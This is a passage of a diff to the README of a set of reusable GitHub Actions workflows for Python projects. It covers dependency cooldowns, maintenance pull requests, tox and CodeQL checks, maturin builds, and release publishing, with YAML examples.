release. With `kind: library`, the groups in `fresh-groups` take their newest release +at once, and every other group waits. + +```yaml +name: Update Python dependencies +on: + workflow_dispatch: + inputs: + cooldown: + description: Upload age a bumped release needs, such as 7 days; 0 days turns the cooldown off + type: string + default: 7 days + expedite: + description: Space-separated packages whose newest release skips the cooldown for this run + type: string + default: "" + schedule: + - cron: 0 8 * * 2 +permissions: {} +jobs: + update: + permissions: + contents: read + uses: tox-dev/github-workflows/.github/workflows/update-python-dependencies.yaml@SHA + with: + files: | + pyproject.toml tox.toml + cooldown: ${{ inputs.cooldown || '7 days' }} + expedite: ${{ inputs.expedite || '' }} + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} +``` + +- `files` **(required)**: Newline-separated groups. Each line is one `bump-deps-index --file` run over its + space-separated paths, so a file that needs a different cutoff belongs in its own run. Paths are plain relative paths. +- `cooldown`: Upload age a bumped release needs; `7 days` by default, `N days` only. `0 days` turns the bump cooldown + off for the run. +- `expedite`: Whitespace-separated package names. Each one takes its newest release for this run, past the cooldown. It + changes only the bump. The lock still follows the cutoff in the caller's `[tool.nab]` table, so a locked package needs + a committed `[tool.nab.packages.NAME]` exception, which the next run keeps. +- `kind`: `app` (default) cools every bump. `library` keeps the `fresh-groups` dependencies fresh, passing + `--exclude-newer-group GROUP=false` for each, and cools the rest. Its tooling groups, the build backend, and the hooks + stay cooled. +- `fresh-groups`: Space-separated dependency groups for `kind: library`, default `project test`. `project` is the + `[project]` runtime dependencies and extras. The group names are validated, and the list is ignored for `app`. +- `exclude-newer` and `exclude-newer-package`: The upload cutoff for the `bump-deps-index` install from PyPI, `7 days` + by default, and newline-separated `name=date` overrides for it. The tool itself is tooling, so the default keeps it + cooled. A dated package override admits a tool release that is younger than the cutoff. +- `allowed-paths`: Newline-separated glob patterns for files that a repository hook rewrites, such as a generated + README. `pylock.toml` and every path in `files` are always allowed. +- `branch`, `title`, `body`, `labels`: Passed to `open-maintenance-pr`. Defaults: `update-python-dependencies`, + `Update Python dependencies`, and no labels. + +The workflow installs the locked release tools from the caller's `release-prepare` group, so the caller's `pylock.toml` +needs that group. It runs `refresh-release-lock` to upgrade the lock with Nab, then runs `cooled-prek` once. Hooks may +rewrite files; a hook failure that changes nothing fails the job, and the pull request checks verify the rewritten +result. Put a repository's own formatting, README generation, and other steps in its prek hooks. Besides the locked +release tools, it installs Nab from PyPI under the seven-day cutoff, and `bump-deps-index` under `exclude-newer`, at a +release that supports `--exclude-newer-group` and `--exclude-newer-package`. + +**Output:** No named output. **Remote effect:** Through `open-maintenance-pr`, one dependency pull request into `main`, +or none when nothing changed. + +## Open a maintenance pull request + +`open-maintenance-pr.yaml` opens or updates one pull request from a patch that a read-only job of the caller uploaded. +The caller uploads the patch as an artifact named `maintenance-patch` and passes its artifact ID. + +The reusable workflow runs two jobs. `validate` applies the patch to a scratch index and leaves the checkout unchanged, +then checks that every changed path matches `allowed-paths` and that each change is a regular non-executable file or a +deletion. `open` is the only job that mints the App token. It runs in the `release-auth` environment, verifies the patch +digest that `validate` recorded, commits, and force-pushes `branch` with a lease. It then edits the open pull request +from `branch` into `base`, or opens one. + +```yaml +jobs: + generate: + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + artifact-id: ${{ steps.upload.outputs.artifact-id }} + steps: + # ... produce the changes in the working tree, then write $RUNNER_TEMP/maintenance.patch + - id: upload + uses: actions/upload-artifact@UPLOAD_SHA + with: + name: maintenance-patch + path: ${{ runner.temp }}/maintenance.patch + if-no-files-found: error + open: + needs: generate + permissions: + contents: read + uses: tox-dev/github-workflows/.github/workflows/open-maintenance-pr.yaml@SHA + with: + artifact-id: ${{ needs.generate.outputs.artifact-id }} + allowed-paths: | + docs/*.md + site/static/diagrams/*.svg + branch: automation/update-diagrams + title: Update diagrams + body: Regenerate the diagrams from the scheduled scan. + labels: skip news + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} +``` + +- `artifact-id` **(required)**: ID of the `maintenance-patch` artifact from the same workflow run. +- `allowed-paths` **(required)**: Newline-separated shell glob patterns. A pattern is an exact path or a glob. Dots are + literal, and `*` also matches `/`. +- `branch` **(required)**: Branch that holds the maintenance commit. A later run force-pushes it with a lease, replacing + the earlier commit. +- `base`: Branch the pull request targets; default `main`. +- `title` **(required)**: Pull request title, also the commit subject. +- `body`: Pull request body. +- `labels`: Newline-separated labels to add. Each label must already exist in the repository. + +The caller grants `contents: read` to its job and passes `RELEASE_APP_PRIVATE_KEY`. The App needs Contents and Pull +requests write access on this repository only, as for `upgrade-release-tools`. Repository hooks and the caller's own +generation run in the read-only job, before the artifact exists. The reusable workflow never runs project code. + +**Output:** `number`, the pull request number. **Remote effect:** One force-pushed commit on `branch` and one pull +request into `base`. An open pull request with the same branch is updated; two open pull requests on one branch fail. + +The `open` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` +callers. Its first step fails with an error that names the event, before the checkout and before the App token exists. +Trigger the caller on `push`, `schedule`, `workflow_dispatch`, or `release`. + ## Check pull request news `validate-news` reads `tool.towncrier` from `pyproject.toml`. It checks every added or modified fragment in the @@ -77,8 +314,8 @@ Each check runs only when the pull request touches what it validates, compared w The requirement for a fragment on human PRs is not tied to a file and runs on every pull request. Put the `changelog` job in a separate `news.yaml` workflow triggered by `opened`, `reopened`, `synchronize`, `labeled`, -and `unlabeled`. Require its status in the main-branch ruleset alongside the test aggregate. A label change then runs -only the news workflow. Install Towncrier from the caller's release lock before calling the Action: +and `unlabeled`. Require its status in the main-branch ruleset alongside the gate job. A label change then runs only the +news workflow. Install Towncrier from the caller's release lock before calling the Action: ```yaml changelog: @@ -111,71 +348,231 @@ Opening a PR with labels, as `gh pr create --label` does, fires `labeled` a mome a minute of opening passes at once, since the run for `opened` reads the labels when it checks. Do not cancel runs in progress with a `concurrency` group: the cancelled run would show as a failed check while the other one passes. -## Refresh release tools +## Check a tox library -Call `upgrade-release-tools.yaml` from a scheduled or manual workflow. Its read-only job refreshes the universal -`pylock.toml` with `nab lock --all-groups --all-extras --no-cache --upgrade`, which records runtime dependencies, all -extras, and all dependency groups. The project's `[tool.nab]` table sets the cutoff and any per-package exception; the -caller adds and removes those exceptions itself. uv only installs tools and never resolves the lock. The job uploads a -patch, which may change only `pylock.toml` and an explicitly configured secondary Nab lock. The writer checks the patch -before minting the App token. It then opens or updates one dependency PR from `automation/update-release-tools` to -`main`. A lock update runs the normal PR checks before merge. +`check.yaml` is a reusable workflow for a Python library tested with tox. It runs one job per `include` row, installs +tox with uv under the `exclude-newer` cutoff, sets up each tox environment with `--notest`, then runs it with +`--skip-pkg-install`. It ends with its own gate over the rows. The caller keeps a gate of its own, as below, so the +required check name stays in the caller. Pin it to a release commit SHA. -The writer uses a repository-only release App with Contents and Pull requests write access. Install the App on this -repository, set `RELEASE_APP_CLIENT_ID` as a repository variable, and store `RELEASE_APP_PRIVATE_KEY` in the -`release-auth` environment. Restrict that environment to `main`. Create `dependencies` and `skip news` labels, and allow -the App to push the dependency branch. The caller supplies the secret by name; GitHub requires this mapping even when -the key exists only in the writer job's environment. +```yaml +name: ๐Ÿงช check +on: + pull_request: + types: [opened, synchronize, reopened] + push: + branches: ["main"] + tags-ignore: ["**"] +permissions: {} +concurrency: + group: check-${{ github.ref }} + cancel-in-progress: true +jobs: + test: + name: ๐Ÿงช Test + uses: tox-dev/github-workflows/.github/workflows/check.yaml@SHA + permissions: + contents: read + with: + include: | + [ + {"env": "3.15"}, + {"env": "3.15t", "python": "3.15t"}, + {"env": "3.14", "python": "3.14"}, + {"env": "type"}, + {"env": "pkg_meta"} + ] + gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [test] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - uses: tox-dev/github-workflows/required-checks@SHA + with: + needs: ${{ toJSON(needs) }} +``` + +- `include` **(required)**: JSON array of matrix rows. Each row needs `env`, the tox environment. `python` is a uv + interpreter the job installs before tox runs, such as `3.15t`; leave it out for the runner's Python. `os` overrides + the runner for that row. +- `os`: Runner for rows without `os`; default `ubuntu-26.04`. +- `apt-packages`: Space-separated Ubuntu packages installed on Linux jobs before tox, such as `graphviz`. +- `tox-install`: Arguments to `uv tool install` that put tox and its plugins on `PATH`; default `tox --with tox-uv`. A + project that is tox-uv itself passes `tox --with .`. +- `exclude-newer` and `exclude-newer-package`: The cutoff for the tox install, as in the Actions above; default + `7 days`. The tox environments themselves install fresh dependencies. +- `pytest-addopts`: `PYTEST_ADDOPTS` for the test run; default `-vv --durations=20`. +- `diff-against`: `DIFF_AGAINST` for the test run, a Git revision; default `HEAD`. +- `coverage`: `true` uploads each job's `.tox/.coverage.*` as an artifact named for its runner and row, kept three days. + A caller job merges them with `actions/download-artifact` using the pattern `.coverage.*` and runs its coverage + environment. + +The check names are ` / ๐Ÿงช on `; the example's caller job is `๐Ÿงช Test`. Require the caller's +gate job, not the reusable one. The test jobs run project code, so the caller grants them `contents: read` only. + +## Analyze with CodeQL + +`codeql.yaml` is a reusable CodeQL workflow. It has one analysis job per language and no triggers, so the caller keeps +its schedule, branches, and pull request events. The caller grants `security-events: write`, because the analysis +uploads results to code scanning. ```yaml -name: Upgrade release tools +name: ๐Ÿ›ก๏ธ CodeQL on: - workflow_dispatch: + push: + branches: [main] + pull_request: schedule: - - cron: 0 8 * * 2 + - cron: "0 9 * * 2" + workflow_dispatch: permissions: {} +concurrency: + group: codeql-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} + cancel-in-progress: ${{ github.run_attempt == 1 }} jobs: - upgrade: + analyze: + name: ๐Ÿ›ก๏ธ Analyze + uses: tox-dev/github-workflows/.github/workflows/codeql.yaml@SHA + permissions: + contents: read + security-events: write + with: + languages: '["actions","python"]' + paths-ignore: '["tests"]' +``` + +- `languages`: JSON array of CodeQL languages, one job each; default `["actions","python"]`. +- `paths-ignore`: JSON array of paths CodeQL skips, written to its configuration; default `[]`. +- `queries`: Query suite or comma-separated query list; default `security-extended`. +- `config-file`: Repository path to a CodeQL configuration file. Use it instead of `paths-ignore`, which has no effect + when this is set; the file lists its own paths. +- `build-mode`: `none` (default), `autobuild`, or `manual`, for each language. + +Each check name is ` / ๐Ÿ›ก๏ธ Analyze `. With the caller job named `๐Ÿ›ก๏ธ Analyze`, the checks are +`๐Ÿ›ก๏ธ Analyze / ๐Ÿ›ก๏ธ Analyze actions` and `๐Ÿ›ก๏ธ Analyze / ๐Ÿ›ก๏ธ Analyze python`. Rulesets that required the earlier +`๐Ÿ›ก๏ธ Analyze ` name must require the new one. The workflow pins CodeQL Action v4.39.1 for both the init and +analyze steps. + +## Require needed jobs + +`required-checks` fails unless every job in the `needs` context succeeded. Jobs named in `allow-skipped` may also end +skipped. Keep the caller's gate job, its name, and `if: ${{ !cancelled() }}`, because the name is the required check. +Use the Action instead of an inline `jq` check. + +```yaml +gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [test, type] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - uses: tox-dev/github-workflows/required-checks@SHA + with: + needs: ${{ toJSON(needs) }} +``` + +- `needs` **(required)**: The `needs` context as `toJSON(needs)`. +- `allow-skipped`: Newline-separated job IDs that may end skipped, such as a job that runs on one interpreter only. Each + ID must also appear in `needs`; a typo fails the Action and names the typo. A listed job that succeeded passes too. + +**Output:** No named output. **Remote effect:** None. The Action reads only the `needs` JSON and needs no checkout. + +## Export constraints for a build matrix + +`export-build-constraints` reads `pylock.toml` by default. Pass `lock` for a secondary lock such as `pylock.build.toml`, +plus `target-platform` and `targets` when the build matrix needs constraints for specific interpreters. The output +`path` names a temporary requirements file with hashes. The Action writes no tracked files. + +```yaml + - id: constraints + uses: tox-dev/github-workflows/export-build-constraints@SHA + with: + lock: pylock.build.toml + target-platform: linux_aarch64 + targets: 3.15.0:cpython +``` + +`targets` is a space-separated list of `full-version:implementation` pairs. + +## Build a distribution for a pull request + +`build-python-distribution` remains available for existing keyless PR build jobs. It exports hashed build constraints +from the caller's lock, and writes a wheel and sdist to `dist/`. It does not upload or publish them. Tagged release jobs +use `validate-python-release.yaml`. + +```yaml + - uses: tox-dev/github-workflows/build-python-distribution@SHA +``` + +The Action builds the checkout root and has no named output; subsequent steps read `dist/`. + +## Build maturin wheels + +`build-maturin-wheels.yaml` builds a maturin extension for a JSON build matrix and uploads the wheels and sdist under +the artifact names the caller's publisher reads. The `source` job checks out the commit, runs the optional pre-build +command once, and uploads the source. Each matrix entry runs in its own `build` job, and the `sdist` job builds the +sdist from the hash-checked build group. The `gate` job runs `required-checks` over `source`, `build`, and `sdist`; +`sdist` may end skipped when the `sdist` input is `false`. Jobs hold `contents: read` at most. + +```yaml +jobs: + build: uses: >- - tox-dev/github-workflows/.github/workflows/upgrade-release-tools.yaml@SHA + tox-dev/github-workflows/.github/workflows/build-maturin-wheels.yaml@SHA + with: + package-name: pyproject-fmt + package-path: pyproject-fmt + matrix: >- + [ + {"os": "ubuntu-24.04", "target": "x86_64", "artifact": "linux-x86_64", "manylinux": "2_28", + "python": "3.15 3.14t pypy3.11"}, + {"os": "ubuntu-24.04", "target": "aarch64", "artifact": "linux-aarch64", "args": "--zig"}, + {"os": "ubuntu-24.04", "target": "x86_64", "artifact": "linux-x86_64-315t", + "python": "3.15t", "args": "--no-default-features --features extension-module"}, + {"os": "windows-2025", "target": "x64", "artifact": "windows-x64", "python": "3.15 3.14t"}, + {"os": "macos-15", "target": "aarch64", "artifact": "macos-aarch64", "python": "3.15 3.14t pypy3.11"} + ] + post-build-command: uv run --no-project pyproject-fmt/build_backend.py dist permissions: contents: read - secrets: - RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} ``` -`pylock.toml` must come from `nab lock --all-groups --all-extras`; relock a `release-creator locks` lock with Nab before -re-pinning. Tests install test, type, and documentation tools afresh to detect upstream dependency changes. The updater -also refreshes a caller's secondary Nab build-matrix lock when `additional-lock` and its matrix inputs are set. +Each matrix entry takes these keys: -The optional `commit-message`, `pull-request-title`, and `pull-request-body` inputs retain existing PR wording. The -workflow never updates a committed `uv.lock`. Build constraints are generated from the lock's `build` group at runtime. +- `os`: runner label, used as `runs-on`. +- `target`: Rust target triple passed to maturin. +- `artifact`: suffix of the uploaded `-wheels-` artifact. +- `python`: space-separated interpreters for `--interpreter`; default `3.15`. +- `manylinux`: manylinux or musllinux policy; default `auto`. +- `args`: extra maturin arguments, such as `--zig`. -For a second lock such as `pylock.build.toml`, set `additional-lock`, `additional-matrix-python`, -`additional-matrix-platforms`, and `additional-matrix-implementations`. `additional-lock-groups` selects dependency -groups in that lock; with no groups, the updater selects build requirements. Set `additional-lock-selection: project` -for a lock that selects the project's runtime dependencies instead. The updater writes both locks in the same dependency -PR. The writer accepts only those locks. Pass the same `additional-lock` and matrix inputs to `validate-news` in the PR -workflow. It checks changes to either lock against the project, including a PR that changes only the secondary lock. +`package-path` is the directory holding the package's `Cargo.toml`; the sdist is built from it. `release-build` defaults +to `false`, but any tag ref runs in release mode too, so a tag caller can omit it. Release mode builds without sccache. +`workflow_call` defaults cannot be expressions, so the workflow combines the two inside. -`refresh-release-lock` is the read-only half of the updater. In `refresh` mode, it upgrades the full primary lock and -writes `$RUNNER_TEMP/lock.patch` if a lock changes. In `check` mode, it regenerates the primary lock without upgrading -and fails if anything other than Nab's recorded command line differs. Check mode installs the Nab version that the -committed `pylock.toml` records in `[tool.nab] nab-version`, and fails if the lock has none, because a newer Nab would -rewrite that field in every committed lock. Refresh mode installs the newest Nab under the cutoff. Every Nab run unsets -`SSL_CERT_FILE` and `SSL_CERT_DIR`, so Nab uses its own certificate store. `validate-news` calls this mode when a PR -changes release inputs, including a workspace member's `pyproject.toml` or a secondary lock. The resulting PR's normal -formatting job runs `prek`; the writer checks patch paths and modes. Its `changed` output is `true` only when the -refresh produces a patch. Neither mode pushes a branch or requests a write token. - -Every shared `prek` command runs through `tools/cooled_prek.sh`, which the `cooled-prek` Action wraps for workflows, and -passes `--config .pre-commit-config.yaml`. Without it, prek prefers a root `prek.toml` and also runs nested -configurations, which no guard checks. +`pre-build-command` runs once in the source job from the checkout root, so every wheel job builds the same tree. Use it +for a version bump, which must happen before the source artifact is written. `post-build-command` runs in each wheel job +after maturin, from the checkout root with the wheels in `dist`. Vendoring belongs there, because maturin skips the PEP +517 hook that would otherwise vendor files. Both commands run under `bash -c`; the caller installs whatever they need, +such as cargo-edit for `cargo set-version`. -Hook environments install under the same seven-day upload cutoff, with the repository's uv settings ignored. A package -with a `packages..uploaded-prior-to` exception in `[tool.nab]` is admitted up to that date in hook environments -too, so a hook dependency pinned to a release newer than the cutoff, such as `sphinx` for `docstrfmt`, needs the same -temporary exception the release lock uses. Delete the exception once the release is a week old. +The source job installs the `release-build` group of the caller's `pylock.toml` to read the maturin version. The sdist +job exports constraints from the `build` group. Both groups come from the lock that +[export-build-constraints](#export-constraints-for-a-build-matrix) reads. `exclude-newer` and `exclude-newer-package` +set the upload cutoff for those installs, as in [Tools the Actions install](#tools-the-actions-install). Set +`sdist: false` to skip the sdist job. + +What stays in the caller: + +- Profile-guided optimization. A PGO leg needs an instrumented build, a training run, and a profile check inside the + same job. Simplint keeps its four PGO legs in a local job and passes the remaining matrix entries to this workflow. +- Version selection, README generation, and any other changes to the source beyond `pre-build-command`. +- Package checks on the built files, such as an sdist that must carry vendored code. The workflow inspects nothing + inside the built files; check them in the package's own `tox -e pkg_meta` run. +- Publishing. Keep PyPI trusted publishing in the caller's tag workflow. ## Start with a caller @@ -210,105 +607,9 @@ The tag starts the caller's publisher. Keep PyPI trusted publishing in that top- [PyPI disallows reusable workflows](https://docs.pypi.org/trusted-publishers/troubleshooting/). Repositories with the standard `uv` wheel and sdist build can call `validate-python-release.yaml` in the tag publisher. The [self-release workflow](.github/workflows/release.yaml) shows the GitHub Release path; callers keep their ecosystem -uploads. The tag caller renders the Release body and has the only Contents write job that creates the GitHub Release. - -## Validate a Python release - -`validate-python-release.yaml` runs one `build` job. It exports hashed build constraints from the caller lock, builds -the wheel and sdist, and uploads them. The workflow does not inspect the built files further; check package metadata and -wheel contents in the package's own `tox -e pkg_meta` run. - -```yaml -build: - uses: >- - tox-dev/github-workflows/.github/workflows/validate-python-release.yaml@SHA - permissions: - contents: read -``` - -The caller needs a `build` group for backend constraints. `source` defaults to `.`. Use `artifact-prefix` when one tag -produces more than one distribution path; each call then writes a distinct `python-package-distributions` artifact. A -caller pinned to a workflow commit runs that commit's local Actions. Pass the cutoff inputs as for -`refresh-release-lock`. - -Publish only after the reusable workflow succeeds. Download the distribution with pinned `download-artifact` -[v8.0.2](https://github.com/actions/download-artifact/blob/9000827ccba6bdab643e8b6fd33ac0654aef8333/action.yml#L37-L45), -using `artifact-ids: ${{ needs.build.outputs.distributions-artifact-id }}`. The download checks the artifact digest and -selects the wheel and sdist from that build run. This reusable workflow does not render notes. Render them in a -read-only `notes` job of the caller's tag workflow that runs in parallel with `build`: check out the full history, call -`render-release-notes`, and upload `$RUNNER_TEMP/release-notes.md` as an artifact. The Action finds the previous tag -with `release-creator tags --previous`, renders the section with `release-creator notes`, and appends the artifact link -and the Full Changelog link. Keep PyPI OIDC in the caller's `release` environment job. - -Run the tag workflow under `concurrency` keyed by the tag, without cancelling a run in progress. The release job has -`contents: write` and no checkout. It reconciles the PyPI digests and then creates the GitHub Release with a single -`publish-github-release` call after PyPI, with no separate stage job: - -```yaml -concurrency: - group: release-${{ github.ref }} - cancel-in-progress: false -jobs: - release: - needs: [build, pypi, notes] - runs-on: ubuntu-26.04 - permissions: - contents: write - steps: - - uses: astral-sh/setup-uv@SETUP_UV_SHA - with: - python-version: '3.15' - - uses: actions/download-artifact@DOWNLOAD_SHA - with: - artifact-ids: ${{ needs.build.outputs.distributions-artifact-id }} - path: dist - - uses: actions/download-artifact@DOWNLOAD_SHA - with: - artifact-ids: ${{ needs.notes.outputs.artifact-id }} - path: ${{ runner.temp }} - - uses: tox-dev/github-workflows/reconcile-pypi-artifacts@SHA - with: - project: example - version: ${{ github.ref_name }} - dist: dist - - uses: tox-dev/github-workflows/publish-github-release@SHA - env: - GH_TOKEN: ${{ github.token }} - with: - tag: ${{ github.ref_name }} - commit: ${{ github.sha }} - title: ${{ github.ref_name }} - notes-file: ${{ runner.temp }}/release-notes.md -``` - -## Build a distribution for a pull request - -`build-python-distribution` remains available for existing keyless PR build jobs. It exports hashed build constraints -from the caller's lock, and writes a wheel and sdist to `dist/`. It does not upload or publish them. Tagged release jobs -use `validate-python-release.yaml`. - -```yaml - - uses: tox-dev/github-workflows/build-python-distribution@SHA -``` - -The Action builds the checkout root and has no named output; subsequent steps read `dist/`. - -## Export constraints for a build matrix - -`export-build-constraints` reads `pylock.toml` by default. Pass `lock` for a secondary lock such as `pylock.build.toml`, -plus `target-platform` and `targets` when the build matrix needs constraints for specific interpreters. The output -`path` names a temporary requirements file with hashes. The Action writes no tracked files. - -```yaml - - id: constraints - uses: tox-dev/github-workflows/export-build-constraints@SHA - with: - lock: pylock.build.toml - target-platform: linux_aarch64 - targets: 3.15.0:cpython -``` - -`targets` is a space-separated list of `full-version:implementation` pairs. +uploads. The tag caller renders the Release body with `release-notes.yaml` and creates the Release with +`github-release.yaml`, as in +[Render release notes and publish the GitHub Release](#render-release-notes-and-publish-the-github-release). ## Prepare and tag with one reusable workflow @@ -344,6 +645,10 @@ uses `release-auth` without creating a GitHub Deployment. The caller can place r job and make this job depend on it. One dispatch prepares one tag; run separate dispatches for separate packages. The tag-triggered ecosystem publisher stays in the caller repository. +The `push` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` +callers. Its first step fails with an error that names the event, before the patch is downloaded and before the App +token exists. Trigger the caller on `push`, `schedule`, `workflow_dispatch`, or `release`. + ## Read Towncrier configuration `read-towncrier-config` reads `towncrier.toml` or `pyproject.toml` from the checkout's committed `HEAD`, so an untrusted @@ -406,7 +711,9 @@ needs no release tools. **Output:** No named output. **Working-tree effect:** Applies and stages the patch. The Action reads the changelog path and fragment directory from committed Towncrier configuration. Only the changelog and direct fragment deletions may -appear in the patch, as regular files. An unexpected path or mode fails the job. +appear in the patch, as regular files. An unexpected path or mode fails the job. Set `allowed-paths` to +newline-separated glob patterns to replace that path rule: the patch may then change only the matching paths, and the +Towncrier configuration is not read. The [release-creator preparation](#prepare-release-creator-release) sets it. ## Commit and tag release @@ -442,6 +749,277 @@ last in the writer job: its Git credential helper remains available to later ste **Output:** No named output. **Remote effect:** One new commit on `main` and one tag at that commit. The App needs a branch and tag ruleset bypass. A stale branch, invalid tag, or ruleset rejection fails the push. +## Prepare release-creator release + +`prepare-release-creator.yaml` runs the same two-job split as +[prepare-towncrier-release](#prepare-and-tag-with-one-reusable-workflow). `assemble` has no App key. It selects the tag +from the tags and pending fragments, links fragments to their pull requests, optionally runs `cargo set-version`, runs +the caller's changelog command, adds New Contributors, formats the changelog with the `mdformat` prek hook, and uploads +the patch. `push` downloads that patch by ID, applies it with [validate-release-patch](#validate-release-patch) using +`allowed-paths`, mints a repository-scoped App token, and runs [commit-and-tag](#commit-and-tag-release). + +```yaml +jobs: + prepare: + uses: >- + tox-dev/github-workflows/.github/workflows/prepare-release-creator.yaml@SHA + permissions: + contents: read + pull-requests: read + with: + bump: ${{ inputs.bump }} + package: ${{ inputs.package }} + tag-format: '{package}/{version}' + cargo-set-version: true + cargo-set-version-args: -p {package} + assemble-command: >- + uv run --project "$PACKAGE" python tasks/generate_readme.py "$PACKAGE" && + python3 tasks/assemble_release.py "$PACKAGE" "$VERSION" + release-paths: | + CHANGELOG.md + Cargo.lock + uv.lock + {package}/Cargo.toml + {package}/README.rst + changelog.d/{package}/* + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} +``` + +Simplint's single-package release uses unprefixed tags and no package scope: + +```yaml + with: + bump: ${{ inputs.bump }} + tag-format: '{version}' + cargo-set-version: true + assemble-command: python3 tasks/assemble_release.py "$VERSION" + release-paths: | + CHANGELOG.md + Cargo.lock + Cargo.toml + changelog.d/* +``` + +- `bump`: `auto`, `major`, `minor`, or `patch`, passed to `release-creator tags --next`. +- `package`: scopes tags to `package/` and fragments to `changelog.d/`. Empty for a single-package repository. +- `tag-format`: `{version}`, `v{version}`, `{package}/{version}`, or `{package}/v{version}`. A `{package}` format needs + `package`, and a format without it rejects `package`. +- `changelog`: tracked Markdown changelog; default `CHANGELOG.md`. +- `assemble-command` **(required)**: shell command that writes the changelog section from the fragments. It runs with + `PACKAGE`, `VERSION` (the bare number), and `TAG` set, and it may run the package's own build steps first. +- `release-paths` **(required)**: newline-separated glob patterns, the only paths the patch may change. `{package}` + expands to `package`. Each matched path may be added, modified, or deleted as a regular file; other modes fail. + `validate-release-patch` does not read the Towncrier configuration in this mode. +- `cargo-set-version`: run `cargo set-version` with the number before assembly; default `false`. + `cargo-set-version-args` holds the arguments before the number, such as `-p {package}`. Cargo and cargo-edit install + only when this is set. +- `annotated`, `release-auth-deployment`, `exclude-newer`, and `exclude-newer-package` match + `prepare-towncrier-release`. + +The caller keeps the `release-auth` environment with `RELEASE_APP_PRIVATE_KEY` and the `RELEASE_APP_CLIENT_ID` variable. +Assembly installs `release-prepare`, which contains release-creator, Towncrier, and prek. + +What stays in the caller: + +- The changelog. `assemble-command` writes it, because release-creator does not build a `## ` section in a + shared changelog. Simplint's `assemble_release.py` and toml-fmt's package sections both stay in the caller. +- Any Cargo or uv version change beyond `cargo-set-version`, such as `uv version --package` for a second Python package. +- The tag-triggered publisher, which stays in the caller repository. + +The `push` job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` +callers. Its first step fails with an error that names the event, before the patch is downloaded and before the App +token exists. Trigger the caller on `push`, `schedule`, `workflow_dispatch`, or `release`. + +## Validate a Python release + +`validate-python-release.yaml` runs one `build` job. It exports hashed build constraints from the caller lock, builds +the wheel and sdist, and uploads them. The workflow does not inspect the built files further; check package metadata and +wheel contents in the package's own `tox -e pkg_meta` run. + +```yaml +build: + uses: >- + tox-dev/github-workflows/.github/workflows/validate-python-release.yaml@SHA + permissions: + contents: read +``` + +The caller needs a `build` group for backend constraints. `source` defaults to `.`. Use `artifact-prefix` when one tag +produces more than one distribution path; each call then writes a distinct `python-package-distributions` artifact. A +caller pinned to a workflow commit runs that commit's local Actions. Pass the cutoff inputs as for +`refresh-release-lock`. + +Publish only after the reusable workflow succeeds. Download the artifact with pinned `download-artifact` +[v8.0.2](https://github.com/actions/download-artifact/blob/9000827ccba6bdab643e8b6fd33ac0654aef8333/action.yml#L37-L45), +using `artifact-ids: ${{ needs.build.outputs.distributions-artifact-id }}`. The download checks the artifact digest and +selects the wheel and sdist from that build run. The caller keeps PyPI OIDC in its `release` environment job. + +This reusable workflow does not render notes or create the GitHub Release. +[Render release notes and publish the GitHub Release](#render-release-notes-and-publish-the-github-release) shows the +notes and release jobs that run after the publish job. + +## Render release notes and publish the GitHub Release + +`release-notes.yaml` renders the GitHub Release body in a read-only job. `github-release.yaml` checks the PyPI files, +then creates the GitHub Release in a job that runs in the caller's `release` environment with `contents: write`. Both +are reusable workflows. The caller keeps the PyPI upload job, because PyPI trusted publishing cannot run in a reusable +workflow. + +`release-notes.yaml` takes these inputs and returns one output: + +- `tag` **(required)**: release tag, such as `1.2.3` or `pyproject-fmt/1.2.3`. +- `changelog`: tracked changelog path. Empty reads `filename` from the committed Towncrier configuration. +- `artifact-url` and `artifact-label`: passed to `render-release-notes`. +- `package`: package section of a shared Markdown changelog. The previous tag is then the one before the tag in the same + package namespace. +- Output `artifact-id`: the upload ID of the `github-release-notes-` artifact. + +`github-release.yaml` takes these inputs: + +- `project` and `version` **(required)**: PyPI project and version that `reconcile-pypi-artifacts` compares with the + build. +- `tag` **(required)**: Git tag the release targets. The release commit is the workflow's `github.sha`. +- `artifact-pattern` **(required)**: artifact name pattern of the distributions the PyPI publisher uploaded. The + workflow downloads them into `dist`. +- `notes-artifact-id` **(required)**: the `artifact-id` output of `release-notes.yaml`. +- `title-prefix`: text before the tag in the title, such as `v`. Empty by default. +- `assets-directory`: directory of extra assets. The workflow's only downloaded directory is `dist`, so set `dist` to + attach the distributions. Empty attaches nothing. + +The caller's release-notes job needs `contents: read`. The release job needs `contents: write` and runs after the PyPI +job. The `release` environment must exist in the caller and allow the tag ref. The examples below pin `SHA` to the +commit of this repository. + +The pytest-print release workflow: + +```yaml +name: ๐Ÿš€ Release to PyPI +on: + push: + tags: ["*"] +permissions: + contents: read +concurrency: + group: release-${{ github.ref }} + cancel-in-progress: false +jobs: + build: + name: ๐Ÿ—๏ธ Build + uses: tox-dev/github-workflows/.github/workflows/validate-python-release.yaml@SHA + permissions: + contents: read + notes: + name: ๐Ÿ“ Render GitHub Release notes + uses: tox-dev/github-workflows/.github/workflows/release-notes.yaml@SHA + permissions: + contents: read + with: + tag: ${{ github.ref_name }} + artifact-url: https://pypi.org/project/pytest-print/${{ github.ref_name }}/ + pypi: + name: ๐Ÿš€ Publish to PyPI + needs: build + runs-on: ubuntu-26.04 + environment: + name: release + url: https://pypi.org/project/pytest-print/${{ github.ref_name }} + permissions: + id-token: write + steps: + - name: ๐Ÿ“ฉ Download distributions + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.build.outputs.distributions-artifact-id }} + path: dist/ + - name: ๐Ÿš€ Publish to PyPI + uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086 # v1.14.3 + with: + packages-dir: dist + attestations: true 